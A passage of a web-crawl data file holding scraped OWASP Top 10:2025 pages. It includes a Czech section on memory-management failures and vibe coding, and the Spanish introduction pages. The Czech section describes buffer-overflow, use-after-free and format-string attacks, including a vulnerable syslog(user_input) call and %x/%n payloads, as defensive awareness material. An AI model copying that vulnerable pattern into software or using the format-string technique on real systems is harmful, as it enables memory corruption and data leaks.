záplatována, skenována a hardenována.\n- Monitorujte podkladovou infrastrukturu zejména z hlediska potenciálních zranitelností souvisejících s pamětí a dalších selhání.\n- Zvažte použití [kanárků (canaries)](https://en.wikipedia.org/wiki/Buffer_overflow_protection#Canaries) k ochraně zásobníku adres před útoky přetečením.\n\n### Příklady scénářů útoků\n\n**Scénář #1:** Přetečení vyrovnávací paměti (buffer overflow) je nejznámější paměťovou zranitelností. Jde o situaci, kdy útočník odešle do pole více informací, než kolik může přijmout, takže dojde k přetečení bufferu vytvořeného pro příslušnou proměnnou. Při úspěšném útoku znaky přetečení přepíší ukazatel zásobníku, což útočníkovi umožní vložit do programu škodlivé instrukce.\n\n**Scénář #2:** Use-After-Free (UAF) se vyskytuje natolik často, že jde o poměrně běžný typ hlášení v bug bounty programech zaměřených na webové prohlížeče. Představte si webový prohlížeč zpracovávající JavaScript, který manipuluje s prvky DOM. Útočník připraví JavaScriptový payload, který vytvoří objekt (například prvek DOM) a získá na něj reference. Pečlivou manipulací přiměje prohlížeč k uvolnění paměti objektu, přičemž na něj zůstane dangling pointer (visící ukazatel). Dříve než prohlížeč rozpozná, že paměť byla uvolněna, útočník alokuje nový objekt, který obsadí stejný paměťový prostor. Když se pak prohlížeč pokusí použít původní ukazatel, ukazuje tento ukazatel na data ovládaná útočníkem. Pokud šlo o ukazatel na virtuální tabulku funkcí, může útočník přesměrovat běh kódu na svůj payload.\n\n**Scénář #3:** Síťová služba přijímá vstup od uživatele, neprovádí jeho řádnou validaci ani sanitizaci a poté jej předá přímo logovací funkci. Uživatelský vstup je logovací funkci předán jako syslog(user_input) namísto syslog(\"%s\", user_input), tedy bez explicitního určení formátu. Útočník odešle škodlivé payloady obsahující specifikátory formátu, například %x pro čtení paměti zásobníku (únik citlivých dat) nebo %n pro zápis do paměťových adres. Řetězením více formátovacích specifikátorů může zmapovat zásobník, najít důležité adresy a následně je přepsat. Jedná se o zranitelnost typu format string (nekontrolovaný formát řetězce).\n\nPoznámka: Moderní prohlížeče používají k obraně proti takovým útokům více vrstev ochrany, včetně [sandboxingu prohlížeče](https://www.geeksforgeeks.org/ethical-hacking/what-is-browser-sandboxing/#types-of-browser-sandboxing), ASLR, DEP/NX, RELRO a PIE. Útok na prohlížeč využívající selhání správy paměti není snadné provést.\n\n### Reference\n\n- [OWASP community pages: Memory leak,](https://owasp.org/www-community/vulnerabilities/Memory_leak) [Doubly freeing memory,](https://owasp.org/www-community/vulnerabilities/Doubly_freeing_memory) [& Buffer Overflow](https://owasp.org/www-community/vulnerabilities/Buffer_Overflow)\n- [Awesome Fuzzing: a list of fuzzing resources](https://github.com/secfigo/Awesome-Fuzzing)\n- [Project Zero Blog](https://googleprojectzero.blogspot.com)\n- [Microsoft MSRC Blog](https://www.microsoft.com/en-us/msrc/blog)\n\n### Seznam mapovaných CWE\n\n- [CWE-14 Compiler Removal of Code to Clear Buffers](https://cwe.mitre.org/data/definitions/14.html)\n- [CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer](https://cwe.mitre.org/data/definitions/119.html)\n- [CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')](https://cwe.mitre.org/data/definitions/120.html)\n- [CWE-121 Stack-based Buffer Overflow](https://cwe.mitre.org/data/definitions/121.html)\n- [CWE-122 Heap-based Buffer Overflow](https://cwe.mitre.org/data/definitions/122.html)\n- [CWE-124 Buffer Underwrite ('Buffer Underflow')](https://cwe.mitre.org/data/definitions/124.html)\n- [CWE-125 Out-of-bounds Read](https://cwe.mitre.org/data/definitions/125.html)\n- [CWE-126 Buffer Over-read](https://cwe.mitre.org/data/definitions/126.html)\n- [CWE-190 Integer Overflow or Wraparound](https://cwe.mitre.org/data/definitions/190.html)\n- [CWE-191 Integer Underflow (Wrap or Wraparound)](https://cwe.mitre.org/data/definitions/191.html)\n- [CWE-196 Unsigned to Signed Conversion Error](https://cwe.mitre.org/data/definitions/196.html)\n- [CWE-367 Time-of-check Time-of-use (TOCTOU) Race Condition](https://cwe.mitre.org/data/definitions/367.html)\n- [CWE-415 Double Free](https://cwe.mitre.org/data/definitions/415.html)\n- [CWE-416 Use After Free](https://cwe.mitre.org/data/definitions/416.html)\n- [CWE-457 Use of Uninitialized Variable](https://cwe.mitre.org/data/definitions/457.html)\n- [CWE-459 Incomplete Cleanup](https://cwe.mitre.org/data/definitions/459.html)\n- [CWE-467 Use of sizeof() on a Pointer Type](https://cwe.mitre.org/data/definitions/467.html)\n- [CWE-787 Out-of-bounds Write](https://cwe.mitre.org/data/definitions/787.html)\n- [CWE-788 Access of Memory Location After End of Buffer](https://cwe.mitre.org/data/definitions/788.html)\n- [CWE-824 Access of Uninitialized Pointer](https://cwe.mitre.org/data/definitions/824.html)\n\n## X03:2025 Nepřiměřená důvěra v kód generovaný AI (Inappropriate Trust in AI Generated Code („Vibe Coding“))\n\n### Pozadí\n\nV současnosti celý svět mluví o AI a používá ji, což se týká i vývojářů softwaru. Ačkoli v současnosti neexistují žádné CVE ani CWE vztahující se ke kódu generovanému AI, je dobře známo a zdokumentováno, že takový kód často obsahuje více zranitelností než kód napsaný člověkem.\n\n### Popis\n\nPozorujeme, že se postupy vývoje softwaru mění: nejde už jen o kód psaný s pomocí AI, ale i o kód napsaný a commitnutý téměř bez lidského dohledu (často označovaný jako „vibe coding“). Stejně jako nikdy nebylo dobré bez rozmyslu kopírovat úryvky kódu z blogů nebo webových stránek, je v tomto případě problém ještě výraznější. Dobré a bezpečné ukázky kódu byly a jsou vzácné a kvůli systémovým omezením je AI nemusí při generování kódu dostatečně zohledňovat.\n\n### Jak tomu zabránit\n\nVšem, kdo píší kód, důrazně doporučujeme, aby při používání AI zvážili následující:\n\n- Měli byste být schopni přečíst si a plně porozumět veškerému kódu, který odevzdáváte, i když jej napsala AI nebo byl zkopírován z online fóra. Nesete odpovědnost za veškerý kód, který commitnete.\n- Veškerý kód vytvořený s pomocí AI byste měli důkladně prověřit z hlediska zranitelností, ideálně jak vlastním posouzením, tak i pomocí bezpečnostních nástrojů určených k tomuto účelu (například statické analýzy). Zvažte použití klasických technik code review, jak jsou popsány v [OWASP Cheat Sheet Series: Secure Code Review](https://cheatsheetseries.owasp.org/cheatsheets/Secure_Code_Review_Cheat_Sheet.html) .\n- Ideálně pište vlastní kód, nechte AI navrhnout vylepšení, zkontrolujte kód vygenerovaný AI a nechte AI provést opravy, dokud nebudete s výsledkem spokojeni.\n- Zvažte použití serveru pro Retrieval Augmented Generation (RAG) s vlastními shromážděnými a prověřenými vzorky bezpečného kódu a dokumentací, například s interními směrnicemi, standardy nebo politikami vaší organizace pro bezpečné kódování, a nechte RAG server vynucovat příslušné politiky nebo standardy.\n- Zvažte pořízení nástrojů, které při práci s vámi zvolenými AI zavádějí ochranná opatření (guardrails) pro soukromí a bezpečnost.\n- Zvažte pořízení privátní AI, ideálně se smluvním ujednáním (včetně ujednání o ochraně soukromí), že AI nebude trénována na datech, dotazech, kódu ani jiných citlivých informacích vaší organizace.\n- Zvažte zavedení serveru Model Context Protocol (MCP) mezi vaše IDE a AI a nastavte jej tak, aby vynucoval používání vámi zvolených bezpečnostních nástrojů.\n- Zaveďte zásady a procesy jako součást svého SDLC, aby vývojáře (a všechny zaměstnance) informovaly o tom, jak mají a nemají AI ve vaší organizaci používat.\n- Vytvořte seznam dobrých a účinných promptů, které zohledňují osvědčené postupy IT bezpečnosti. V ideálním případě by měly zohledňovat i vaše interní směrnice pro bezpečné kódování. Vývojáři mohou tyto prompty použít jako výchozí bod pro své programy.\n- AI se pravděpodobně stane součástí každé fáze životního cyklu vývoje vašich systémů, a to jak z hlediska jejího efektivního, tak bezpečného využití. Používejte ji uvážlivě.\n- V současnosti se **nedoporučuje** používat vibe coding pro složité funkce, kritické byznysové aplikace nebo programy používané dlouhodobě.\n- Zaveďte technické kontroly a ochranná opatření proti používání Shadow AI.\n- Proškolte své vývojáře v oblasti vašich zásad, bezpečného používání AI a osvědčených postupů pro využití AI při vývoji softwaru.\n\n### Reference\n\n- [OWASP Cheat Sheet: Secure Code Review](https://cheatsheetseries.owasp.org/cheatsheets/Secure_Code_Review_Cheat_Sheet.html)\n\n### Seznam mapovaných CWE\n\nŽádný.", "znaku_textu": 22784, "slov": 2648, "odkazu": 127, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:43", "sha256": "2b4a12205309683039cf56c9d5646be155f7638d46c0004ffde7fabbddbdc3c0", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html", "https://mas.owasp.org/MASVS/11-MASVS-RESILIENCE/", "https://learn.microsoft.com/en-us/aspnet/core/fundamentals/best-practices?view=aspnetcore-9.0", "https://medium.com/@parserdigital/resilience-in-microservices-bulkhead-vs-circuit-breaker-54364c1f9d53", "https://www.geeksforgeeks.org/system-design/bulkhead-pattern/", "https://www.nist.gov/cyberframework", "https://www.devlane.com/blog/avoid-blocking-calls-go-async-in-java", "https://cwe.mitre.org/data/definitions/73.html", "https://cwe.mitre.org/data/definitions/183.html", "https://cwe.mitre.org/data/definitions/256.html", "https://cwe.mitre.org/data/definitions/266.html", "https://cwe.mitre.org/data/definitions/269.html", "https://cwe.mitre.org/data/definitions/286.html", "https://cwe.mitre.org/data/definitions/311.html", "https://cwe.mitre.org/data/definitions/312.html", "https://cwe.mitre.org/data/definitions/313.html", "https://cwe.mitre.org/data/definitions/316.html", "https://cwe.mitre.org/data/definitions/362.html", "https://cwe.mitre.org/data/definitions/382.html", "https://cwe.mitre.org/data/definitions/419.html", "https://cwe.mitre.org/data/definitions/434.html", "https://cwe.mitre.org/data/definitions/436.html", "https://cwe.mitre.org/data/definitions/444.html", "https://cwe.mitre.org/data/definitions/451.html", "https://cwe.mitre.org/data/definitions/454.html", "https://cwe.mitre.org/data/definitions/472.html", "https://cwe.mitre.org/data/definitions/501.html", "https://cwe.mitre.org/data/definitions/522.html", "https://cwe.mitre.org/data/definitions/525.html", "https://cwe.mitre.org/data/definitions/539.html", "https://cwe.mitre.org/data/definitions/598.html", "https://cwe.mitre.org/data/definitions/602.html", "https://cwe.mitre.org/data/definitions/628.html", "https://cwe.mitre.org/data/definitions/642.html", "https://cwe.mitre.org/data/definitions/646.html", "https://cwe.mitre.org/data/definitions/653.html", "https://cwe.mitre.org/data/definitions/656.html", "https://cwe.mitre.org/data/definitions/657.html", "https://cwe.mitre.org/data/definitions/676.html", "https://cwe.mitre.org/data/definitions/693.html", "https://cwe.mitre.org/data/definitions/799.html", "https://cwe.mitre.org/data/definitions/807.html", "https://cwe.mitre.org/data/definitions/841.html", "https://cwe.mitre.org/data/definitions/1021.html", "https://cwe.mitre.org/data/definitions/1022.html", "https://cwe.mitre.org/data/definitions/1125.html", "https://en.wikipedia.org/wiki/Buffer_overflow_protection", "https://www.geeksforgeeks.org/ethical-hacking/what-is-browser-sandboxing/", "https://github.com/secfigo/Awesome-Fuzzing", "https://googleprojectzero.blogspot.com/", "https://www.microsoft.com/en-us/msrc/blog", "https://cwe.mitre.org/data/definitions/14.html", "https://cwe.mitre.org/data/definitions/119.html", "https://cwe.mitre.org/data/definitions/120.html", "https://cwe.mitre.org/data/definitions/121.html", "https://cwe.mitre.org/data/definitions/122.html", "https://cwe.mitre.org/data/definitions/124.html", "https://cwe.mitre.org/data/definitions/125.html", "https://cwe.mitre.org/data/definitions/126.html", "https://cwe.mitre.org/data/definitions/190.html", "https://cwe.mitre.org/data/definitions/191.html", "https://cwe.mitre.org/data/definitions/196.html", "https://cwe.mitre.org/data/definitions/367.html", "https://cwe.mitre.org/data/definitions/415.html", "https://cwe.mitre.org/data/definitions/416.html", "https://cwe.mitre.org/data/definitions/457.html", "https://cwe.mitre.org/data/definitions/459.html", "https://cwe.mitre.org/data/definitions/467.html", "https://cwe.mitre.org/data/definitions/787.html", "https://cwe.mitre.org/data/definitions/788.html", "https://cwe.mitre.org/data/definitions/824.html", "https://cheatsheetseries.owasp.org/cheatsheets/Secure_Code_Review_Cheat_Sheet.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/en/", "titulek": "Redirecting...", "h1": "", "popis": "", "klicova_slova": "", "kanonicka": "/Top10/2025/", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "Redirecting to [OWASP Top 10:2025](/Top10/2025/)...", "znaku_textu": 51, "slov": 5, "odkazu": 1, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:19", "sha256": "57550093b63cb66fe476329c12f836af178eff6c23ed10c26c7bf697aa28c452", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": []} {"url": "https://owasp.org/Top10/2025/es/", "titulek": "Inicio - OWASP Top 10:2025", "h1": "OWASP Top 10:2025", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/es/", "jazyk": "es", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Top 10:2025"}, {"uroven": 2, "text": "Sobre este lanzamiento"}, {"uroven": 2, "text": "Página principal del proyecto"}, {"uroven": 2, "text": "Primeros pasos"}, {"uroven": 2, "text": "Navegación"}, {"uroven": 3, "text": "Lista Top 10:2025"}], "markdown": "# OWASP Top 10:2025\n\nBienvenido al lanzamiento de OWASP Top 10:2025.\n\nEl OWASP Top 10 es un documento estándar de concienciación para desarrolladores y seguridad de aplicaciones web. Representa un amplio consenso sobre los riesgos de seguridad más críticos para las aplicaciones web.\n\n## Sobre este lanzamiento\n\nEsta es la versión **2025** del OWASP Top 10. Esta versión incluye actualizaciones basadas en los últimos datos y tendencias de seguridad.\n\n## Página principal del proyecto\n\nLa [página principal del proyecto](https://github.com/OWASP/www-project-top-ten) contiene información sobre versiones anteriores y metadatos sobre este proyecto.\n\n## Primeros pasos\n\nComience con la [Introducción](0x00_2025-Introduction/) para conocer las novedades de la versión 2025.\n\n## Navegación\n\n- [Introducción](0x00_2025-Introduction/)\n- [Sobre OWASP](0x01_2025-About_OWASP/)\n- [¿Qué son los riesgos de seguridad de las aplicaciones?](0x02_2025-What_are_Application_Security_Risks/)\n- [Establecimiento de un programa moderno de seguridad de aplicaciones](0x03_2025-Establishing_a_Modern_Application_Security_Program/)\n\n### Lista Top 10:2025\n\n1. [A01:2025 - Pérdida de Control de Acceso](A01_2025-Broken_Access_Control/)\n2. [A02:2025 - Configuración de Seguridad Incorrecta](A02_2025-Security_Misconfiguration/)\n3. [A03:2025 - Fallas en la Cadena de Suministro de Software](A03_2025-Software_Supply_Chain_Failures/)\n4. [A04:2025 - Fallas Criptográficas](A04_2025-Cryptographic_Failures/)\n5. [A05:2025 - Inyección](A05_2025-Injection/)\n6. [A06:2025 - Diseño Inseguro](A06_2025-Insecure_Design/)\n7. [A07:2025 - Fallas de Autenticación](A07_2025-Authentication_Failures/)\n8. [A08:2025 - Fallas en la Integridad del Software o de los Datos](A08_2025-Software_or_Data_Integrity_Failures/)\n9. [A09:2025 - Fallas en el Registro, Alerta y Monitoreo de Seguridad](A09_2025-Security_Logging_and_Alerting_Failures/)\n10. [A10:2025 - Manejo Inadecuado de Condiciones Excepcionales](A10_2025-Mishandling_of_Exceptional_Conditions/)\n\n---\n\n**Nota:** Las traducciones se añadirán a medida que estén disponibles.", "znaku_textu": 2026, "slov": 222, "odkazu": 34, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:21", "sha256": "414e84b989816e277e18e306e6a85b4e9b968a1ed6377d817733af37ef194934", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://github.com/OWASP/www-project-top-ten", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/es/0x00_2025-Introduction/", "titulek": "Introducción - OWASP Top 10:2025", "h1": "Los Diez Riesgos de Seguridad de Aplicaciones Web Más Críticos", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/es/0x00_2025-Introduction/", "jazyk": "es", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Los Diez Riesgos de Seguridad de Aplicaciones Web Más Críticos"}, {"uroven": 1, "text": "Introducción"}, {"uroven": 2, "text": "Presentación del OWASP Top 10:2025"}, {"uroven": 2, "text": "Qué ha cambiado en el Top 10 para 2025"}, {"uroven": 2, "text": "Metodología"}, {"uroven": 2, "text": "Cómo se estructuran las categorías"}, {"uroven": 2, "text": "Cómo se utilizan los datos para seleccionar las categorías"}, {"uroven": 2, "text": "Por qué utilizamos una encuesta comunitaria"}, {"uroven": 2, "text": "Gracias a nuestros colaboradores de datos"}, {"uroven": 2, "text": "Autores Principales"}, {"uroven": 2, "text": "Registro de problemas y solicitudes de incorporación de cambios (pull requests)"}, {"uroven": 3, "text": "Enlaces del proyecto:"}], "markdown": "# Los Diez Riesgos de Seguridad de Aplicaciones Web Más Críticos\n\n# Introducción\n\n¡Bienvenidos a la octava edición del OWASP Top Ten!\n\nUn enorme agradecimiento a todos los que contribuyeron con datos y perspectivas en la encuesta. Sin ustedes, esta edición no habría sido posible. **¡GRACIAS!**\n\n## Presentación del OWASP Top 10:2025\n\n- [A01:2025 - Pérdida de Control de Acceso](../A01_2025-Broken_Access_Control/)\n- [A02:2025 - Configuración de Seguridad Incorrecta](../A02_2025-Security_Misconfiguration/)\n- [A03:2025 - Fallas en la Cadena de Suministro de Software](../A03_2025-Software_Supply_Chain_Failures/)\n- [A04:2025 - Fallas Criptográficas](../A04_2025-Cryptographic_Failures/)\n- [A05:2025 - Inyección](../A05_2025-Injection/)\n- [A06:2025 - Diseño Inseguro](../A06_2025-Insecure_Design/)\n- [A07:2025 - Fallas de Autenticación](../A07_2025-Authentication_Failures/)\n- [A08:2025 - Fallas en la Integridad del Software o de los Datos](../A08_2025-Software_or_Data_Integrity_Failures/)\n- [A09:2025 - Fallas en el Registro, Alerta y Monitoreo de Seguridad](../A09_2025-Security_Logging_and_Alerting_Failures/)\n- [A10:2025 - Manejo Inadecuado de Condiciones Excepcionales](../A10_2025-Mishandling_of_Exceptional_Conditions/)\n\n## Qué ha cambiado en el Top 10 para 2025\n\nHay dos categorías nuevas y una consolidación en el Top Ten para 2025. Hemos trabajado para mantener nuestro enfoque en la causa raíz por encima de los síntomas tanto como ha sido posible. Debido a la complejidad de la ingeniería de software y la seguridad del software, es básicamente imposible crear diez categorías sin algún nivel de solapamiento.\n\n- **[A01:2025 - Pérdida de Control de Acceso](../A01_2025-Broken_Access_Control/)** mantiene su posición en el #1 como el riesgo de seguridad de aplicaciones más grave; los datos aportados indican que, de media, el 3,73% de las aplicaciones analizadas presentaban una o más de las 40 Enumeraciones de Debilidades Comunes (CWE, por sus siglas en inglés: *Common Weakness Enumerations* ) en esta categoría. Como indica la línea discontinua en la figura anterior, la Falsificación de Solicitudes del Lado del Servidor (SSRF, *Server-Side Request Forgery* ) se ha integrado en esta categoría.\n- **[A02:2025 - Configuración de Seguridad Incorrecta](../A02_2025-Security_Misconfiguration/)** subió del #5 en 2021 al #2 en 2025. Las configuraciones incorrectas son más prevalentes en los datos de este ciclo. El 3,00% de las aplicaciones analizadas tenían una o más de las 16 CWE en esta categoría. Esto no es sorprendente, ya que la ingeniería de software sigue aumentando la cantidad de comportamiento de una aplicación que se basa en configuraciones.\n- **[A03:2025 - Fallas en la Cadena de Suministro de Software](../A03_2025-Software_Supply_Chain_Failures/)** es una expansión de [A06:2021 - Componentes Vulnerables y Desactualizados](https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/) para incluir un alcance más amplio de compromisos que ocurren dentro o a través de todo el ecosistema de dependencias de software, sistemas de construcción ( *build systems* ) e infraestructura de distribución. Esta categoría fue votada mayoritariamente como una de las principales preocupaciones en la encuesta de la comunidad. Esta categoría cuenta con 5 CWE y una presencia limitada en los datos recopilados, pero creemos que esto se debe a los desafíos en las pruebas y esperamos que las pruebas se pongan al día en esta área. Esta categoría tiene el menor número de ocurrencias en los datos, pero también las puntuaciones medias más altas de explotación e impacto de CVE ( *Common Vulnerabilities and Exposures* ).\n- **[A04:2025 - Fallas Criptográficas](../A04_2025-Cryptographic_Failures/)** baja dos puestos del #2 al #4 en la clasificación. Los datos aportados indican que, de media, el 3,80% de las aplicaciones tienen una o más de las 32 CWE en esta categoría. Esta categoría a menudo conduce a la exposición de datos sensibles o al compromiso del sistema.\n- **[A05:2025 - Inyección](../A05_2025-Injection/)** baja dos puestos del #3 al #5 en la clasificación, manteniendo su posición relativa respecto a Fallas Criptográficas y Diseño Inseguro. La inyección es una de las categorías más probadas, con el mayor número de CVE asociados a las 38 CWE de esta categoría. La inyección incluye una gama de problemas que van desde el Secuencia de Comandos en Sitios Cruzados (XSS, alta frecuencia/bajo impacto) hasta vulnerabilidades de Inyección SQL (baja frecuencia/alto impacto).\n- **[A06:2025 - Diseño Inseguro](../A06_2025-Insecure_Design/)** desciende dos puestos del #4 al #6 en el ranking, al ser superada por Configuración de Seguridad Incorrecta y Fallas en la Cadena de Suministro de Software. Esta categoría se introdujo en 2021, y hemos visto mejoras notables en la industria relacionadas con el modelado de amenazas y un mayor énfasis en el diseño seguro.\n- **[A07:2025 - Fallas de Autenticación](../A07_2025-Authentication_Failures/)** mantiene su posición en el #7 con un ligero cambio de nombre (anteriormente era \" [Fallas de Identificación y Autenticación](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/) \") para reflejar con mayor precisión las 36 CWE de esta categoría. Esta categoría sigue siendo importante, pero el mayor uso de marcos de trabajo estandarizados para la autenticación parece estar teniendo efectos beneficiosos en la incidencia de las fallas de autenticación.\n- **[A08:2025 - Fallas en la Integridad del Software o de los Datos](../A08_2025-Software_or_Data_Integrity_Failures/)** continúa en el #8 de la lista. Esta categoría se centra en la falla al mantener los límites de confianza y verificar la integridad del software, el código y los artefactos de datos a un nivel inferior al de las fallas en la Cadena de Suministro de Software.\n- **[A09:2025 - Fallas en el Registro, Alerta y Monitoreo de Seguridad](../A09_2025-Security_Logging_and_Alerting_Failures/)** conserva su posición en el #9. Esta categoría tiene un ligero cambio de nombre (anteriormente \" [Fallas de Registro y Monitorización de Seguridad](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/) \") para enfatizar la importancia de la funcionalidad de alerta necesaria para inducir una acción apropiada ante eventos de registro relevantes. Un excelente registro sin alertas tiene un valor mínimo para identificar incidentes de seguridad. Esta categoría siempre estará infrarrepresentada en los datos, y fue votada de nuevo para una posición en la lista por los participantes de la encuesta de la comunidad.\n- **[A10:2025 - Manejo Inadecuado de Condiciones Excepcionales](../A10_2025-Mishandling_of_Exceptional_Conditions/)** es una nueva categoría para 2025. Esta categoría contiene 24 CWE que se centran en el manejo inadecuado de errores, errores lógicos, fallas en modo abierto ( *failing open* ) y otros escenarios relacionados derivados de condiciones anormales que los sistemas pueden encontrar.\n\n## Metodología\n\nEsta entrega del Top Ten sigue estando informada por los datos, pero no impulsada ciegamente por ellos. Clasificamos 12 categorías basándonos en los datos aportados, y permitimos que dos fueran promovidas o destacadas por las respuestas de la encuesta de la comunidad. Hacemos esto por una razón fundamental: examinar los datos aportados es, esencialmente, mirar al pasado. Los investigadores de seguridad de aplicaciones dedican tiempo a identificar nuevas vulnerabilidades y a desarrollar nuevos métodos de prueba. Se necesitan de semanas a años para integrar estas pruebas en herramientas y procesos. Para cuando podemos probar una debilidad de forma fiable a escala, pueden haber pasado años. También existen riesgos importantes que quizá nunca podamos probar de forma fiable y que no estén presentes en los datos. Para equilibrar esa visión, utilizamos una encuesta comunitaria para preguntar a los profesionales de la seguridad y el desarrollo de aplicaciones que están en primera línea qué ven como riesgos esenciales que pueden estar infrarrepresentados en los datos de las pruebas.\n\n## Cómo se estructuran las categorías\n\nAlgunas categorías han cambiado con respecto a la entrega anterior del OWASP Top Ten. He aquí un resumen de alto nivel de los cambios en las categorías.\n\nEn esta iteración, solicitamos datos sin restricciones sobre las CWE, a diferencia de lo que hicimos para la edición de 2021. Preguntamos por el número de aplicaciones probadas en un año determinado (empezando en 2021) y el número de aplicaciones con al menos una instancia de una CWE encontrada en las pruebas. Este formato nos permite seguir la prevalencia de cada CWE dentro de la población de aplicaciones. Ignoramos la frecuencia para nuestros propósitos; aunque puede ser necesaria para otras situaciones, solo oculta la prevalencia real en la población de aplicaciones. Que una aplicación tenga cuatro instancias de una CWE o 4.000 instancias no forma parte del cálculo para el Top Ten. Especialmente porque los evaluadores manuales tienden a listar una vulnerabilidad solo una vez, sin importar cuántas veces se repita en una aplicación, mientras que los marcos de pruebas automatizadas listan cada instancia de una vulnerabilidad como única. Pasamos de aproximadamente 30 CWE en 2017, a casi 400 CWE en 2021, a 589 CWE en esta edición para analizar en el conjunto de datos. Planeamos realizar análisis de datos adicionales como suplemento en el futuro. Este aumento significativo en el número de CWE hace necesarios cambios en la estructura de las categorías.\n\nPasamos varios meses agrupando y categorizando CWE y podríamos haber continuado durante meses adicionales. Tuvimos que parar en algún momento. Existen CWE de tipo causa raíz y de tipo síntoma, donde los tipos de causa raíz son como \"Falla Criptográfica\" y \"Configuración Incorrecta\", en contraste con los tipos de síntoma como \"Exposición de Datos Sensibles\" y \"Denegación de Servicio\". Decidimos centrarnos en la causa raíz siempre que fuera posible, ya que es más lógico para proporcionar orientación de identificación y remediación. Centrarse en la causa raíz por encima del síntoma no es un concepto nuevo; el Top Ten ha sido una mezcla de síntoma y causa raíz. Las CWE también son una mezcla de síntoma y causa raíz; simplemente estamos siendo más deliberados al señalarlo. Hay un promedio de 25 CWE por categoría en esta entrega, con los límites inferiores en 5 CWE para A03:2025 - Fallas en la Cadena de Suministro de Software y A09:2025 - Fallas en el Registro, Alerta y Monitoreo de Seguridad, hasta 40 CWE en A01:2025 - Pérdida de Control de Acceso. Tomamos la decisión de limitar el número de CWE en una categoría a 40. Esta estructura de categorías actualizada ofrece beneficios adicionales de formación, ya que las empresas pueden centrarse en las CWE que tengan sentido para un lenguaje o marco de trabajo (*framework*).\n\nSe nos ha preguntado por qué no cambiar a una lista de 10 CWE como un Top 10, similar a las 25 debilidades de software más peligrosas de MITRE (MITRE Top 25). Hay dos razones principales por las que utilizamos múltiples CWE en las categorías. En primer lugar, no todas las CWE existen en todos los lenguajes de programación o marcos de trabajo. Esto causa problemas para las herramientas y los programas de formación/concienciación, ya que parte del Top Ten puede no ser aplicable. La segunda razón es que existen múltiples CWE para vulnerabilidades comunes. Por ejemplo, hay múltiples CWE para Inyección general, Inyección de Comandos, Secuencia de Comandos en Sitios Cruzados, Contraseñas Codificadas (*Hardcoded Passwords*), Falta de Validación, Desbordamientos de Búfer (*Buffer Overflows*), Almacenamiento de Información Sensible en Texto Claro y muchas otras. Dependiendo de la organización o del evaluador, se pueden utilizar diferentes CWE. Al utilizar una categoría con múltiples CWE, podemos ayudar a elevar el nivel base y la concienciación sobre los diferentes tipos de debilidades que pueden ocurrir bajo un nombre de categoría común. En esta edición del Top Ten 2025, hay 248 CWE dentro de las 10 categorías. Hay un total de 968 CWE en el [diccionario descargable de MITRE](https://cwe.mitre.org) en el momento de este lanzamiento.\n\n## Cómo se utilizan los datos para seleccionar las categorías\n\nAl igual que hicimos para la edición de 2021, aprovechamos los datos de CVE para la *Explotabilidad* y el *Impacto (Técnico)*. Descargamos OWASP Dependency Check y extrajimos las puntuaciones de Explotación e Impacto de CVSS (*Common Vulnerability Scoring System*), agrupándolas por las CWE relevantes listadas con los CVE. Requirió bastante investigación y esfuerzo, ya que todos los CVE tienen puntuaciones de CVSSv2, pero existen fallas en CVSSv2 que CVSSv3 debería abordar. A partir de cierto momento, a todos los CVE se les asigna también una puntuación CVSSv3. Además, los rangos de puntuación y las fórmulas se actualizaron entre CVSSv2 y CVSSv3.\n\nEn CVSSv2, tanto la Explotación como el Impacto (Técnico) podían ser de hasta 10.0, pero la fórmula los reducía al 60% para Explotación y al 40% para Impacto. En CVSSv3, el máximo teórico se limitó a 6,0 para Explotación y 4,0 para Impacto. Teniendo en cuenta la ponderación, la puntuación de Impacto se desplazó hacia arriba, casi un punto y medio de media en CVSSv3, y la explotabilidad se desplazó casi medio punto hacia abajo de media.\n\nExisten aproximadamente 175.000 registros (frente a los 125.000 de 2021) de CVE mapeados a CWE en la Base de Datos Nacional de Vulnerabilidades (NVD, *National Vulnerability Database*), extraídos de OWASP Dependency Check. Además, hay 643 CWE únicas mapeadas a CVE (frente a las 241 de 2021). Dentro de los casi 220.000 CVE que se extrajeron, 160.000 tenían puntuaciones CVSS v2, 156.000 tenían puntuaciones CVSS v3 y 6.000 tenían puntuaciones CVSS v4. Muchos CVE tienen múltiples puntuaciones, razón por la cual el total es superior a 220.000.\n\nPara el Top Ten 2025, calculamos las puntuaciones medias de explotación e impacto de la siguiente manera. Agrupamos todos los CVE con puntuaciones CVSS por CWE y ponderamos tanto las puntuaciones de explotación como las de impacto por el porcentaje de la población que tenía CVSSv3, así como la población restante con puntuaciones CVSSv2, para obtener una media global. Mapeamos estos promedios a las CWE en el conjunto de datos para utilizarlos como puntuación de 